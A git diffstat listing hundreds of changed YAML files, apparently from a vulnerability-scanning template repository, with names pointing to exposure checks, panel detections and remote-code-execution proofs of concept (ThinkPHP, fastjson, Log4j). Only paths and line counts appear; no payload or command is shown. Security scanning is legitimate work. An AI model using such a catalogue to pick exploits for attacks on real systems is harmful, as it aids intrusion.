- poc/other/manageengine-adselfservice.yaml | 33 +- poc/other/manageengine-analytics-8742.yaml | 20 - poc/other/manageengine-analytics-8743.yaml | 3 +- .../manageengine-apex-helpdesk-8747.yaml | 4 +- .../manageengine-apex-helpdesk-8748.yaml | 3 +- ...nageengine-applications-manager-8753.yaml} | 0 .../manageengine-assetexplorer-8756.yaml | 24 - .../manageengine-assetexplorer-8758.yaml | 9 +- poc/other/manageengine-desktop-8763.yaml | 9 +- poc/other/manageengine-desktop.yaml | 14 +- poc/other/manageengine-servicedesk-8771.yaml | 22 + poc/other/manageengine-servicedesk.yaml | 19 +- .../manageengine-supportcenter-8776.yaml | 20 + poc/other/manageengine-supportcenter.yaml | 20 +- poc/other/mapbox.yaml | 15 +- ...rter-fd31cf9a67dfd6607728a3a84f437f42.yaml | 59 + ...dons-12837c486f79b2de1532e687b9743c18.yaml | 59 + ...dons-dcc4025ee13d70815a22cffab60ba7f6.yaml | 59 + ...her-with-or.yaml => matcher-with-and.yaml} | 0 poc/other/matomo-panel.yaml | 46 + poc/other/memcached-stats-8799.yaml | 17 - poc/other/memcached-stats-8800.yaml | 17 + poc/other/memcached-stats.yaml | 15 +- poc/other/metabase-panel.yaml | 20 +- poc/other/metadata-alibaba-8809.yaml | 41 + poc/other/metadata-azure-8814.yaml | 13 +- poc/other/metadata-azure.yaml | 42 - poc/other/metadata-hetzner-8822.yaml | 18 +- poc/other/metadata-openstack-8825.yaml | 17 +- poc/other/metadata-openstack-8826.yaml | 13 +- poc/other/mikrotik-routeros.yaml | 55 +- poc/other/milesight-system-log.yaml | 41 + poc/other/mini-start-page.yaml | 19 +- poc/other/minio-browser.yaml | 16 +- poc/other/minio-console.yaml | 20 +- ...menu-670b06183f6b9014eca97668628043e9.yaml | 59 + poc/other/mobileiron(1).yaml | 22 - poc/other/mobotix-guest-camera-8911.yaml | 3 +- poc/other/moodle-changelog-8934.yaml | 26 + poc/other/moodle-changelog-8936.yaml | 26 - poc/other/moodle-changelog.yaml | 13 +- poc/other/mx-fingerprint-8973.yaml | 22 +- poc/other/mx-fingerprint.yaml | 22 + poc/other/n8n-panel.yaml | 33 + poc/other/nagios-status-page-8995.yaml | 23 +- poc/other/nagios-status-page-8996.yaml | 18 - poc/other/nagios-status-page-8997.yaml | 5 +- poc/other/nameserver-fingerprint-8998.yaml | 19 +- poc/other/nameserver-fingerprint.yaml | 22 + poc/other/neos-panel-9015.yaml | 26 + poc/other/neos-panel-9016.yaml | 27 - poc/other/neos-panel.yaml | 25 +- poc/other/nessus-panel-9019.yaml | 5 - poc/other/netis-info-leak-9036.yaml | 8 +- poc/other/netis-info-leak.yaml | 30 + poc/other/netrc-9045.yaml | 38 - poc/other/netrc-9046.yaml | 9 +- poc/other/netscaler-gateway-9052.yaml | 13 +- poc/other/netscaler-gateway.yaml | 15 +- ...opup-114cfddce267d2426de36e74c7760459.yaml | 59 + ...opup-129de9be75b14b677a6aafdd92169861.yaml | 59 + ...opup-177bba029014f08fe08b4b123296a5c9.yaml | 59 + ...opup-ecdaf335dcb4612e4e55262c33b29a21.yaml | 59 + poc/other/nextcloud-install-9084.yaml | 25 + poc/other/nextcloud-install-9085.yaml | 28 - ...lery-82ee51f84315a8f0151d8f4e4cbb00b8.yaml | 59 + poc/other/niagara-fox-info-enum.yaml | 14 +- poc/other/nifi-detech-9131.yaml | 29 + poc/other/nifi-detech-9132.yaml | 14 +- ...ance-4a8179b4ab7e25214c189c7ef486b47b.yaml | 59 + poc/other/nomad-jobs.yaml | 26 + poc/other/ns-asg-file-read-9149.yaml | 3 +- poc/other/ns-asg-file-read-9150.yaml | 33 + poc/other/ns-asg-file-read-9152.yaml | 19 - poc/other/ntlm-directories-9155.yaml | 118 +- poc/other/nuuo-file-inclusion-9167.yaml | 14 +- poc/other/nuuo-file-inclusion-9168.yaml | 14 +- poc/other/officedocuments.yaml | 11 +- poc/other/oki-data-9224.yaml | 19 + poc/other/oki-data-9226.yaml | 20 - poc/other/oki-data.yaml | 3 +- poc/other/okiko-sfiler-portal-9227.yaml | 32 + poc/other/okiko-sfiler-portal.yaml | 20 +- poc/other/okta-panel-9231.yaml | 21 + poc/other/okta-panel-9233.yaml | 26 - poc/other/okta-panel.yaml | 22 +- poc/other/old-copyright-9236.yaml | 36 +- poc/other/one_line_checks_nuclei.yaml | 16 +- poc/other/onliner-multiple-bugs.yaml | 62 +- .../oob-param-based-interaction-9252.yaml | 18 + poc/other/oob-param-based-interaction.yaml | 19 - poc/other/open-mjpg-streamer-9282.yaml | 9 +- poc/other/open-mjpg-streamer.yaml | 26 - ...290.yaml => open-proxy-internal-9289.yaml} | 0 poc/other/open-proxy-localhost-9292.yaml | 61 - poc/other/open-proxy-portscan-9294.yaml | 64 + poc/other/open-proxy-portscan-9295.yaml | 62 - ...pen-virtualization-manager-panel-9328.yaml | 33 + poc/other/opengraph.yaml | 59 + poc/other/opensis-workflow-9318.yaml | 11 + poc/other/opensis-workflow-9319.yaml | 11 - poc/other/opensis-workflow.yaml | 2 +- poc/other/openweather.yaml | 16 +- poc/other/orcus-rat-trojan.yaml | 31 + .../pacs-connexion-utilisateur-9427.yaml | 7 +- poc/other/pacs-connexion-utilisateur.yaml | 12 +- poc/other/pagerduty.yaml | 24 +- .../panasonic-network-management-9447.yaml | 20 - ...=> panasonic-network-management-9448.yaml} | 0 .../panasonic-network-management-9450.yaml | 2 +- poc/other/pendo.yaml | 25 +- ...anel-9483.yaml => pentaho-panel-9481.yaml} | 0 poc/other/pentaho-panel.yaml | 17 +- ...lery-c4b2bd655208b0ec3cfbeae097899025.yaml | 59 + ...lery-c8a2a56a143be3bfde8508e8d26b0f3f.yaml | 59 + poc/other/pivotaltracker.yaml | 15 +- poc/other/plesk-obsidian-9594.yaml | 3 +- poc/other/plesk-obsidian-9597.yaml | 10 +- poc/other/plesk-stat-9604.yaml | 23 +- .../{plesk-stat-9603.yaml => plesk-stat.yaml} | 0 poc/other/pma-server-import.yaml | 15 +- poc/other/pocketbase-panel.yaml | 34 + poc/other/pop3-capabilities-enum.yaml | 47 + poc/other/portainer-init-deploy-9630.yaml | 40 + ...grid-a55c3c70cbfa575e9959de0f22d4a3ef.yaml | 59 + ...grid-a76c30b285c21bc1f058ce539100d08d.yaml | 59 + poc/other/postmark.yaml | 18 +- .../postmessage-outgoing-tracker-9634.yaml | 63 + .../postmessage-outgoing-tracker-9635.yaml | 44 +- .../postmessage-outgoing-tracker-9636.yaml | 64 - ...ion-9648.yaml => powerlogic-ion-9650.yaml} | 0 poc/other/powerlogic-ion.yaml | 24 +- poc/other/preferred-languages.yaml | 59 + poc/other/printers-info-leak-9652.yaml | 3 +- poc/other/printers-info-leak.yaml | 15 +- poc/other/production-logs-9663.yaml | 33 + poc/other/production-logs-9664.yaml | 39 - poc/other/production-logs-9665.yaml | 6 + poc/other/prometheus-exporter-9678.yaml | 3 +- poc/other/prometheus-exporter.yaml | 25 + poc/other/prometheus-flags-endpoint-9685.yaml | 37 - poc/other/prometheus-flags-endpoint.yaml | 20 +- poc/other/prometheus-targets-9691.yaml | 29 + poc/other/prometheus-targets-9692.yaml | 18 +- poc/other/promothoues-panel (copy 1).yaml | 17 + poc/other/prototype-pollution-check-9697.yaml | 97 + poc/other/prototype-pollution-check.yaml | 135 +- poc/other/provider-path-9700.yaml | 14 + poc/other/provider-path-9702.yaml | 13 - poc/other/{ptr.yaml => ptr-fingerprint.yaml} | 0 poc/other/publicly-shared-ami.yaml | 56 + poc/other/pulse-secure-panel-9712.yaml | 19 - poc/other/pulse-secure-panel-9715.yaml | 7 +- poc/other/puppetboard-panel.yaml | 40 +- ...chat-df530c7666ae8fd104d667c14e462955.yaml | 59 + poc/other/put-m-enb.yaml | 24 - poc/other/put-method-enabled-9727.yaml | 9 +- poc/other/put-method-enabled-9728.yaml | 28 + poc/other/pypicloud-panel-9733.yaml | 5 +- poc/other/pypicloud-panel-9734.yaml | 25 + poc/other/pypicloud-panel.yaml | 19 +- poc/other/qdpm-info-leak-9753.yaml | 27 - poc/other/qdpm-info-leak-9754.yaml | 8 +- ...ntor-357bb8d756f5d2f37cc24a4429d83144.yaml | 59 + poc/other/qi-blocks.yaml | 59 + poc/other/qlikview-accesspoint-panel.yaml | 31 + poc/other/qnap-qts-panel.yaml | 33 +- poc/other/qualcomm-voip-router.yaml | 18 +- ...bely-2fef24a02beed0ca3ee1c97b269ac63f.yaml | 59 + ...next-fd9111bfdf6acc13559e67ec7a94afb6.yaml | 59 + poc/other/rack-mini-profiler-9788.yaml | 7 +- poc/other/rack-mini-profiler-9789.yaml | 6 +- poc/other/radius-manager-9794.yaml | 22 + poc/other/radius-manager-9795.yaml | 5 +- poc/other/radius-manager-9796.yaml | 22 - .../{get-override-sni.yaml => raw-get.yaml} | 0 poc/other/rdf-user-enumeration.yaml | 10 +- poc/other/rds-deletion-protection.yaml | 57 + poc/other/rds-encryption-check.yaml | 56 + poc/other/rds-gp-ssd-usage.yaml | 56 + poc/other/rds-public-snapshot.yaml | 56 + poc/other/rds-public-subnet.yaml | 74 + poc/other/rds-ri-payment-fail.yaml | 56 + poc/other/rds-snapshot-encryption.yaml | 56 + poc/other/redash-panel.yaml | 34 +- poc/other/request-based-interaction-9862.yaml | 62 + poc/other/resin-inputfile-fileread-9870.yaml | 10 +- poc/other/resin-inputfile-fileread-9871.yaml | 12 +- poc/other/resin-viewfile-lfr-9872.yaml | 6 +- poc/other/resin-viewfile-lfr-9874.yaml | 31 - poc/other/restrict-for-elementor.yaml | 59 + poc/other/robots-9889.yaml | 23 + poc/other/robots-txt-9888.yaml | 9 +- poc/other/rotatingtweets.yaml | 59 + ...dons-4f5a8aeadf2922e0327814ecb5c98443.yaml | 59 + ...dons-a92f709af6d177e3d09e4b63911919c3.yaml | 59 + poc/other/rsa-self-service-9910.yaml | 23 - poc/other/rsa-self-service-9912.yaml | 23 + poc/other/rsync-list-modules.yaml | 49 + poc/other/safety-exit.yaml | 59 + poc/other/scs-landfill-control.yaml | 24 +- poc/other/securenvoy-panel-10114.yaml | 2 +- poc/other/securepoint-utm-10117.yaml | 27 + poc/other/securepoint-utm-10118.yaml | 32 - poc/other/securepoint-utm.yaml | 14 +- poc/other/security-10123.yaml | 25 + poc/other/security-10124.yaml | 23 - poc/other/security-txt.yaml | 39 +- poc/other/selea-ip-camera-10133.yaml | 9 +- poc/other/selea-ip-camera-10134.yaml | 29 + poc/other/selea-ip-camera-10135.yaml | 2 + poc/other/selea-ip-camera-10136.yaml | 30 - poc/other/sendgrid.yaml | 6 +- ...ment-139bef5b5213790e12b84be388a01e90.yaml | 59 + poc/other/server-status-localhost-10165.yaml | 14 +- poc/other/server-status-localhost-10166.yaml | 36 - poc/other/servfail-refused-hosts-10168.yaml | 11 +- poc/other/servfail-refused-hosts-10169.yaml | 6 +- ...-history.yaml => shell-history-10191.yaml} | 0 poc/other/shell-history-10192.yaml | 28 +- poc/other/shell_scripts.yaml | 41 - poc/other/shellscripts.yaml | 40 +- poc/other/sidekiq-dashboard-10236.yaml | 22 + poc/other/sidekiq-dashboard-10239.yaml | 22 - poc/other/signatures-10248.yaml | 52090 +---------- poc/other/signatures-10268.yaml | 2170 - poc/other/signatures.yaml | 75682 +--------------- poc/other/simple-image-popup-shortcode.yaml | 59 + poc/other/simple-spoiler.yaml | 59 + ...flow-10293.yaml => sitecore-workflow.yaml} | 0 poc/other/sitemap.yaml | 40 + poc/other/skycaiji-admin-panel-10304.yaml | 27 - poc/other/skycaiji-admin-panel-10306.yaml | 27 + poc/other/skycaiji-install-10307.yaml | 25 + ...stall-10309.yaml => skycaiji-install.yaml} | 0 poc/other/slack.yaml | 20 +- poc/other/sliver-c2.yaml | 34 + poc/other/smartarget-message-bar.yaml | 59 + poc/other/smb-anonymous-access.yaml | 40 + poc/other/smb-enum-domains.yaml | 41 + poc/other/smb-enum.yaml | 81 + poc/other/smb-shares.yaml | 33 + poc/other/smb2-capabilities.yaml | 32 + poc/other/smb2-server-time.yaml | 39 + poc/other/sns-topic-public-accessible.yaml | 63 + poc/other/solarwinds-orion-10359.yaml | 4 +- poc/other/solr-fileRead.yaml | 5 +- poc/other/solr-fileread.yaml | 33 + ...9.yaml => solr-query-dashboard-10368.yaml} | 0 ...=> sonicwall-sslvpn-shellshock-10391.yaml} | 0 .../sonicwall-sslvpn-shellshock-10393.yaml | 13 +- ...spidercontrol-scada-server-info-10413.yaml | 31 - poc/other/splunk-enterprise-panel-10414.yaml | 35 - poc/other/splunk-enterprise-panel-10415.yaml | 20 +- .../spoofable-spf-records-ptr-10425.yaml | 16 - .../spoofable-spf-records-ptr-10426.yaml | 14 +- .../spoofable-spf-records-ptr-10427.yaml | 18 + poc/other/square.yaml | 16 +- ...squid-analysis-report-generator-10512.yaml | 5 +- ...squid-analysis-report-generator-10513.yaml | 16 +- ...squid-analysis-report-generator-10514.yaml | 32 + ...ials-565f900d9ac7d0d275b247abbc27d24e.yaml | 59 + poc/other/sugarcrm-panel-10570.yaml | 27 - poc/other/sugarcrm-panel-10571.yaml | 23 + poc/other/supervpn-panel-10577.yaml | 16 +- ...aker-c78f50d4996c752f5124d6dc6fe3a65f.yaml | 59 + ... => symantec-messaging-gateway-10607.yaml} | 0 .../symantec-messaging-gateway-10609.yaml | 14 +- .../symantec-messaging-gateway-10610.yaml | 19 - .../symantec-pgp-global-directory-10611.yaml | 21 + poc/other/symfony-profiler-10626.yaml | 17 - poc/other/symfony-profiler-10627.yaml | 17 + poc/other/tableau-panel-10642.yaml | 4 - poc/other/tableau-panel.yaml | 18 +- ...ress-7f790570e9fba62eccb5ffe420d8073f.yaml | 59 + poc/other/tabnabbing-check-10645.yaml | 2 +- .../teamcity-registration-enabled-10667.yaml | 34 + poc/other/teamcity-registration-enabled.yaml | 30 - poc/other/tectuus-scada-monitor-10683.yaml | 4 - poc/other/tectuus-scada-monitor.yaml | 20 +- poc/other/tekon-info-leak-10685.yaml | 14 +- poc/other/teradici-pcoip-10702.yaml | 10 +- ...i-pcoip.yaml => teradici-pcoip-10703.yaml} | 0 .../terraform-enterprise-panel-10711.yaml | 27 - .../terraform-enterprise-panel-10712.yaml | 14 +- ...ndar-0464bb1c8595f339063b8b62fe593fb5.yaml | 59 + ...inkcmf-arbitrary-code-execution-10715.yaml | 29 + .../thinkcmf-arbitrary-code-execution.yaml | 23 - poc/other/thinkcmf-workflow-10731.yaml | 11 + poc/other/thinkcmf-workflow.yaml | 10 - poc/other/time.yaml | 63 +- poc/other/tiny-rss-panel.yaml | 28 + poc/other/tixeo-panel.yaml | 39 + poc/other/tor-socks-proxy-10812.yaml | 3 + poc/other/trace-method-10827.yaml | 12 +- poc/other/trace-method-10828.yaml | 9 +- poc/other/trace-method-10829.yaml | 26 + poc/other/traefik-dashboard.yaml | 22 +- poc/other/trilium-notes-installer.yaml | 28 + ...utor-5fb6f94cd91216dd45b2cee5e3c557ca.yaml | 59 + ...utor-a4208fe029333655dfd3df582e680899.yaml | 59 + .../tuxedo-connected-controller-10852.yaml | 20 - .../tuxedo-connected-controller-10855.yaml | 21 + poc/other/tuxedo-connected-controller.yaml | 19 +- poc/other/txt-fingerprint-10863.yaml | 31 + poc/other/txt-fingerprint.yaml | 18 - poc/other/uipath-orchestrator-panel.yaml | 35 + ...ntor-e68a12fdcafb01b22f40f335bd58f52f.yaml | 59 + poc/other/uni-gui-framework.yaml | 51 + poc/other/unleash-panel.yaml | 40 + poc/other/upnp-device-10981.yaml | 14 +- poc/other/upnp-device-10982.yaml | 11 +- poc/other/ups-status-10983.yaml | 5 +- poc/other/ups-status-10985.yaml | 35 + poc/other/url.yaml | 39 +- poc/other/venomrat.yaml | 27 + poc/other/visualstudio.yaml | 20 +- poc/other/wago-plc-panel-11091.yaml | 22 - poc/other/wago-plc-panel-11093.yaml | 22 + poc/other/wakatime.yaml | 17 +- poc/other/wazuh-panel-11114.yaml | 3 +- poc/other/weglot.yaml | 4 - poc/other/wireless-leakage.yaml | 20 - ...ency-530de1beee68f2e517e341bc43961155.yaml | 59 + poc/other/woo-recent-purchases.yaml | 59 + ...ools-4bb78f5cc26a269fb835bac288361ee6.yaml | 59 + poc/other/wooyun-2015-148227(1).yaml | 26 + poc/other/wooyun-2015-148227-11225.yaml | 25 - poc/other/wooyun-2015-148227-11227.yaml | 16 +- poc/other/wooyun-2015-148227-11228.yaml | 1 - poc/other/workspace-one-uem-11391.yaml | 16 + poc/other/workspace-one-uem-11394.yaml | 16 - poc/other/workspace-one-uem.yaml | 30 +- poc/other/wowza-streaming-engine-11397.yaml | 23 - poc/other/wowza-streaming-engine-11399.yaml | 22 + ...form-dd6bb5a30e71f1a78beb169352f3e583.yaml | 59 + ...-pro-dd6bb5a30e71f1a78beb169352f3e583.yaml | 59 + poc/other/wso2-2019-0598-11636.yaml | 14 +- poc/other/wso2-management-console-11644.yaml | 19 +- poc/other/xds-amr-status.yaml | 14 +- poc/other/xff-403-bypass.yaml | 24 +- poc/other/xprober-service-11694.yaml | 3 +- poc/other/xprober-service-11695.yaml | 31 - poc/other/xtremerat-trojan.yaml | 31 + poc/other/xxljob-panel-11715.yaml | 25 + poc/other/xxljob-panel-11716.yaml | 30 - poc/other/yarn-lock-11728.yaml | 38 - poc/other/yopass-panel-11750.yaml | 4 +- poc/other/zabbix-dashboards-access-11754.yaml | 24 + poc/other/zabbix-dashboards-access-11756.yaml | 14 +- poc/other/zabbix-dashboards-access-11757.yaml | 28 - poc/other/zabbix-error-11766.yaml | 24 + ...bix-error-11764.yaml => zabbix-error.yaml} | 0 poc/other/zhiyuan-oa-info-leak-11799.yaml | 31 + poc/other/zte-panel-11840.yaml | 19 +- poc/other/zuul-panel-11843.yaml | 33 - poc/other/zuul-panel.yaml | 38 +- poc/other/zuul-panel.yml | 27 + poc/perl/perl-status-9486.yaml | 29 - poc/perl/perl-status.yaml | 16 + poc/php/clockwork-php-page-1018.yaml | 25 - poc/php/php-backup-files-9497.yaml | 2 +- poc/php/php-composer-binary.yaml | 33 + poc/php/php-debug-bar-9507.yaml | 30 - poc/php/php-errors-9509.yaml | 18 +- poc/php/php-errors-9512.yaml | 15 +- poc/php/php-fpm-status-9516.yaml | 14 +- .../{php-ini-9524.yaml => php-ini-9523.yaml} | 0 poc/php/php-timeclock-xss-9550.yaml | 27 + ...k-xss-9554.yaml => php-timeclock-xss.yaml} | 0 poc/php/php-user-ini-disclosure-9559.yaml | 27 - poc/php/php-user-ini-disclosure-9560.yaml | 28 + poc/php/php-user-ini-disclosure.yaml | 12 +- poc/php/php-warning-9562.yaml | 25 - poc/php/php-warning.yaml | 18 +- poc/php/php-zerodium-backdoor-rce-9569.yaml | 19 - ...ml => php-zerodium-backdoor-rce-9570.yaml} | 0 poc/php/php-zerodium-backdoor-rce-9573.yaml | 11 +- poc/php/phpcollab-detect-9501.yaml | 25 - poc/php/phpcollab-detect.yaml | 4 + poc/php/phpcollab-workflow-9503.yaml | 11 + poc/php/phpinfo-9517.yaml | 42 - poc/php/phpinfo-9521.yaml | 44 + poc/php/phpmyadmin-misconfiguration.yaml | 31 + poc/php/phpmyadmin-panel-9525.yaml | 34 +- poc/php/phpmyadmin-server-import.yaml | 15 +- poc/php/phpmyadmin-setup(1).yaml | 17 + poc/php/phpmyadmin-setup-9533.yaml | 11 +- poc/php/phpmyadmin-sql-9536.yaml | 26 +- poc/php/phpok-sqli-9538.yaml | 17 +- poc/php/phppgadmin-panel-9543.yaml | 17 - poc/php/phppgadmin-panel.yaml | 38 +- poc/php/phpunit-9556.yaml | 28 - poc/php/phpunit-9557.yaml | 20 + poc/php/phpunit-9558.yaml | 8 +- poc/php/phpwiki-lfi-9566.yaml | 26 - poc/php/phpwiki-lfi-9568.yaml | 16 +- poc/php/ruijie-phpinfo-9951.yaml | 33 + poc/php/simplesamlphp-detect.yaml | 31 + poc/php/thinkphp-2-rce-10738.yaml | 23 + poc/php/thinkphp-2-rce-10740.yaml | 4 + poc/php/thinkphp-5022-rce-10744.yaml | 10 +- poc/php/thinkphp-5022-rce-10746.yaml | 27 - poc/php/thinkphp-5023-rce-10749.yaml | 1 + poc/php/twig-php-ssti-10856.yaml | 15 - poc/php/twig-php-ssti-10859.yaml | 23 +- poc/php/weiphp-sql-injection-11190.yaml | 11 +- poc/php/wp-phpfreechat-xss-11527.yaml | 24 - poc/python/Django-DebugMode.yaml | 8 +- poc/python/autobahn-python-detect-595.yaml | 33 - poc/python/autobahn-python-detect.yaml | 29 + poc/python/default-django-page-6841.yaml | 19 - poc/python/default-django-page-6842.yaml | 5 +- poc/python/django-admin-panel-7021.yaml | 18 + poc/python/django-admin-panel-7023.yaml | 18 - poc/python/django-admin-panel.yaml | 18 +- poc/python/django-debug-exposure-7029.yaml | 7 +- poc/python/django-debug-exposure-7031.yaml | 24 + .../django-framework-exceptions-7033.yaml | 7 +- poc/python/django-framework-exceptions.yaml | 30 - poc/python/jupyter-ipython-unauth-8402.yaml | 14 +- .../python-app-sql-exceptions-9744.yaml | 26 + poc/python/python-app-sql-exceptions.yaml | 20 - poc/python/python-metrics-9745.yaml | 25 + poc/python/python-metrics.yaml | 25 - poc/python/python-scanner-9748.yaml | 57 + poc/python/python-scanner.yaml | 39 - poc/rabbitmq/rabbitmq-dashboard-9776.yaml | 14 - poc/rabbitmq/rabbitmq-dashboard-9778.yaml | 1 - poc/rabbitmq/rabbitmq-default-login-9786.yaml | 15 +- poc/rabbitmq/rabbitmq-detect.yaml | 32 + poc/redis/exposed-redis-7335.yaml | 12 +- poc/redis/exposed-redis-7339.yaml | 12 +- poc/redis/redis-info.yaml | 40 + poc/redis/redis-require-auth.yaml | 30 + .../Landray OA treexml.tmpl Script RCE.yaml | 46 - ....yaml => apache-flink-unauth-rce-356.yaml} | 0 .../apache-flink-unauth-rce.yaml | 41 + .../apache-httpd-rce-362.yaml | 41 + .../apache-httpd-rce.yaml | 13 +- .../cisco-cloudcenter-suite-log4j-rce.yaml | 63 - .../cisco-cloudcenter-suite-rce.yaml | 73 + .../clockwatch-enterprise-rce.yaml | 38 + .../code42-log4j-rce-1130.yaml | 21 +- .../code42-log4j-rce-1131.yaml | 44 +- .../code42-log4j-rce-1132.yaml | 48 - .../core-chuangtian-cloud-rce-1211.yaml | 38 + .../core-chuangtian-cloud-rce-1212.yaml | 37 - .../custom-datadump-source-code-detect.yaml | 3 +- .../elex-woocommerce-xss-7199.yaml | 15 +- .../elex-woocommerce-xss.yaml | 42 + .../eyou-email-rce-7381.yaml | 28 - .../eyou-email-rce-7382.yaml | 28 - poc/remote_code_execution/eyou-email-rce.yaml | 9 +- .../fastjson-1-2-24-rce-7400.yaml | 21 +- .../fastjson-1-2-24-rce.yaml | 46 + .../fastjson-1-2-41-rce-7404.yaml | 17 +- .../fastjson-1-2-42-rce-7407.yaml | 35 - .../fastjson-1-2-42-rce.yaml | 31 - .../fastjson-1-2-47-rce-7416.yaml | 9 +- .../fastjson-1-2-47-rce.yaml | 40 + .../fastjson-1-2-62-rce-7419.yaml | 17 +- .../fastjson-1-2-62-rce.yaml | 30 - .../fastjson-1-2-68-rce-7425.yaml | 55 - .../fastjson-1-2-68-rce.yaml | 19 +- .../forcepoint-applicance.yaml | 11 +- poc/remote_code_execution/forcepoint.yaml | 14 +- .../gitlab-rce-7693.yaml | 16 +- poc/remote_code_execution/gitlab-rce.yaml | 56 - .../h3c-imc-rce-7868.yaml | 36 +- .../h3c-imc-rce-7870.yaml | 15 +- .../hashicorp-consul-rce-7891.yaml | 29 - .../hashicorp-consul-rce-7894.yaml | 12 +- .../hiboss-rce-7945.yaml | 15 +- .../hiboss-rce-7948.yaml | 17 +- .../icewarp-webclient-rce-8129.yaml | 3 +- .../icewarp-webclient-rce-8131.yaml | 3 +- .../icewarp-webclient-rce-8133.yaml | 28 + .../jetbrains-datasources-8291.yaml | 33 - .../jetbrains-datasources.yaml | 20 + .../kubernetes-resource-report-8547.yaml | 12 +- .../kubernetes-resource-report-8549.yaml | 8 +- .../landray-oa-treexml-rce.yaml | 28 + .../lotuscms-rce-8653.yaml | 22 +- .../maian-cart-preauth-rce.yaml | 29 +- .../mcafee-epo-rce-8793.yaml | 13 +- .../metersphere-plugin-rce-8837.yaml | 70 - .../metersphere-plugin-rce.yaml | 61 + .../mobileiron-log4j-jndi-rce-8905.yaml | 28 +- .../mobileiron-log4j-jndi-rce.yaml | 41 + .../netgear-wnap320-rce.yaml | 3 + poc/remote_code_execution/netterce.yaml | 34 +- .../nuuo-nvrmini2-rce-9170.yaml | 14 +- .../nuuo-nvrmini2-rce-9174.yaml | 16 +- ...ml => optilink-ont1gew-gpon-rce-9342.yaml} | 0 .../optilink-ont1gew-gpon-rce-9343.yaml | 31 - .../oscommerce-rce-9405.yaml | 30 - .../oscommerce-rce-9407.yaml | 14 +- .../oscommerce-rce-9408.yaml | 35 + .../pdf-signer-ssti-to-rce-9471.yaml | 3 +- ....yaml => pdf-signer-ssti-to-rce-9472.yaml} | 0 .../pgsql-extensions-rce.yaml | 52 + .../phalcon-framework-source-9494.yaml | 13 +- ...aml => phalcon-framework-source-9496.yaml} | 0 .../php-zerodium-backdoor-rce-9569.yaml | 19 - ...ml => php-zerodium-backdoor-rce-9570.yaml} | 0 .../php-zerodium-backdoor-rce-9573.yaml | 11 +- .../powercreator-cms-rce-9643.yaml | 19 +- .../powercreator-cms-rce-9646.yaml | 40 - ...ng-next-generation-firewall-rce-9757.yaml} | 0 ...ang-next-generation-firewall-rce-9761.yaml | 41 + .../qvisdvr-deserialization-rce.yaml | 45 - .../rconfig-rce-9834.yaml | 20 +- .../ruijie-EWEB-rce.yaml | 5 +- .../ruijie-networks-rce-9949.yaml | 18 +- .../ruijie-networks-rce.yaml | 7 +- .../salesforce-aura-9981.yaml | 26 +- ...ce-aura-9984.yaml => salesforce-aura.yaml} | 0 .../samsung-wlan-ap-rce-10007.yaml | 11 +- .../samsung-wlan-ap-rce-10008.yaml | 22 - ...ce.yaml => samsung-wlan-ap-rce-10009.yaml} | 0 poc/remote_code_execution/sangfor-BA-rce.yaml | 41 +- .../sangfor-ba-rce(1).yaml | 13 +- .../sangfor-ba-rce-10020.yaml | 22 - .../sangfor-ba-rce-10021.yaml | 13 +- .../sar2html-rce-10080.yaml | 19 - .../sar2html-rce-10081.yaml | 9 +- poc/remote_code_execution/sar2html-rce.yaml | 20 - .../seacms-rce-10100.yaml | 23 - .../seacms-rce-10101.yaml | 25 + .../seacms-rce-10102.yaml | 3 - .../seowon-router-rce-10145.yaml | 16 +- .../seowon-router-rce-10148.yaml | 35 - .../seowon-router-rce.yaml | 27 - .../showdoc-file-upload-rce-10225.yaml | 34 - .../showdoc-file-upload-rce-10228.yaml | 51 +- .../simple-employee-rce-10279.yaml | 49 - .../simple-employee-rce-10280.yaml | 49 + .../simple-employee-rce.yaml | 6 +- .../{spon-ip-rce.yaml => spon-ip-rce(1).yaml} | 0 .../sponip-network-system-ping-rce-10421.yaml | 6 +- .../sponip-network-system-ping-rce-10422.yaml | 6 +- .../spring-functions-rce.yaml | 55 + .../springboot-h2-db-rce-10454.yaml | 37 + .../springboot-h2-db-rce-10458.yaml | 37 - .../springboot-log4j-rce-10473.yaml | 21 +- .../springboot-log4j-rce.yaml | 41 + .../{symfonyrce(1).yaml => symfonyrce.yaml} | 0 .../tamronos-rce-10649.yaml | 11 +- .../tamronos-rce-10651.yaml | 23 +- .../thinkcmf-rce-10729.yaml | 24 - poc/remote_code_execution/thinkcmf-rce.yaml | 27 +- .../thinkphp-2-rce-10738.yaml | 23 + .../thinkphp-2-rce-10740.yaml | 4 + .../thinkphp-5022-rce-10744.yaml | 10 +- .../thinkphp-5022-rce-10746.yaml | 27 - .../thinkphp-5023-rce-10749.yaml | 1 + .../unifi-network-log4j-rce-10975.yaml | 48 +- .../unifi-network-log4j-rce-10976.yaml | 37 +- .../vercel-takeover-11001.yaml | 6 +- .../vmware-horizon-log4j-jndi-rce-11034.yaml | 22 +- .../vmware-horizon-log4j-jndi-rce.yaml | 38 - poc/remote_code_execution/voiprce(1).yaml | 40 +- poc/remote_code_execution/voiprce.yaml | 34 - .../vrealize-operations-log4j-rce-11072.yaml | 25 +- .../vrealize-operations-log4j-rce.yaml | 48 - .../webpack-sourcemap.yaml | 221 + .../webui-rce-11170.yaml | 16 +- .../webui-rce-11174.yaml | 20 + ...sses-e58fd6fc55781d41aa60974eac75f757.yaml | 59 + .../wordpress-rce-simplefilelist-11299.yaml | 68 + .../wordpress-rce-simplefilelist-11303.yaml | 24 +- .../wordpress-woocommerce-listing-11338.yaml | 7 +- .../wordpress-woocommerce-listing-11339.yaml | 22 + .../wordpress-woocommerce-listing-11341.yaml | 23 - .../wordpress-woocommerce-sqli-11343.yaml | 38 - .../wordpress-woocommerce-sqli.yaml | 5 + .../wordpress-xmlrpc-brute-force.yaml | 97 +- .../workresources-rdp-11380.yaml | 20 + .../workresources-rdp-11382.yaml | 20 - .../workresources-rdp.yaml | 18 +- ...-woocommerce-email-verification-11617.yaml | 29 + ...-woocommerce-email-verification-11618.yaml | 34 +- .../wp-xmlrpc-brute-force-11623.yaml | 2 +- .../wp-xmlrpc-brute-force-11624.yaml | 45 + poc/remote_code_execution/yapi-rce-11726.yaml | 80 + poc/remote_code_execution/yapi-rce.yaml | 93 + .../yarn-resourcemanager-rce-11737.yaml | 4 +- .../yonyou-nc-cloud-jsinvoke-rce.yaml | 37 +- .../grails-database-admin-console-7819.yaml | 16 + .../grails-database-admin-console-7820.yaml | 3 +- .../grails-database-admin-console-7821.yaml | 21 - poc/ruby/rails-database-config-9803.yaml | 2 +- poc/ruby/rails-database-config.yaml | 22 - poc/ruby/rails-debug-mode-9806.yaml | 17 - poc/ruby/rails-debug-mode-9807.yaml | 17 + 